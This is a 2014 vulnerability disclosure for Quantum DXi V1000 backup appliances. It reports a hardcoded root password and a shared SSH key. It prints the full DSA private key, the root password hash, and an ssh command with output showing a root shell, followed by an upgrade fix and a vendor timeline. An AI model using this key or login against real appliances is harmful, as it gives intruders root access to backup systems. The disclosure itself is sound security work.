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Author: 
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xistence < xistence[at]0x90[.]nl > 
  
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Affected products: 
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Quantum DXi V1000 2.2.1 and below 
  
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Affected vendors: 
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Quantum 
http://quantum.com/ 
  
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Product description: 
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Quantum DXi® V-Series is a virtual deduplication backup appliance that 
protects physical and 
virtual data across remote sites, the datacenter and cloud deployments. 
  
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Details: 
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[ 0x01 - Default root user ] 
  
The root user has a hardcoded password that is unknown and not changeable. 
Normally access is only through the restricted shells. 
  
The /etc/shadow file shows the following hash: 
root:$1$FGOgdWM7$dac9P0EJgTSX8a4zc4TXJ/:15783:0:99999:7::: 
  
  
[ 0x02 - Known SSH Private Key ] 
  
  
The /root/.ssh/authorized_keys on the appliance contains the following key 
(same with every deployment): 
  
-----BEGIN DSA PRIVATE KEY----- 
MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2 
hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t 
Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2 
+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4 
6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5 
PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr 
E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK 
6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn 
k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u 
B3Upsx556K/iZPPnJZE= 
-----END DSA PRIVATE KEY----- 
  
Using the key on a remote system to login through SSH will give a root 
shell: 
  
$ ssh -i quantum.key root@192.168.2.117 
Last login: Mon Sep 23 21:27:19 2013 from 192.168.2.71 
  
Product Model          = DXiV1000 
Hardware Configuration = V1000 
System Version         = 2.2.1_MC 
Base OS Version        = 2.2.1_MC-9499 
Application Version    = 2.2.1_MC-50278 
SCM Build Version      = Build14 
Kernel Version         = 2.6.18-164.15.1.qtm.4 
  
[root@DXi000C29FB1EA1 ~]# id 
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),103(adic) 
  
  
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Solution: 
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Upgrade to version 2.3.0.1 or newer 
  
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Timeline: 
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30-09-2013 - Issues discovered and vendor notified 
30-09-2013 - Reply from vendor asking for more details 
01-10-2013 - Supplied more details how to replicate 
19-11-2013 - Asked for status update 
19-11-2013 - Reply from vendor that an updated release is due for March 2014 
xx-xx-2014 - Quantum DXi V1000 2.3.0.1 released 
17-03-2014 - Public disclosure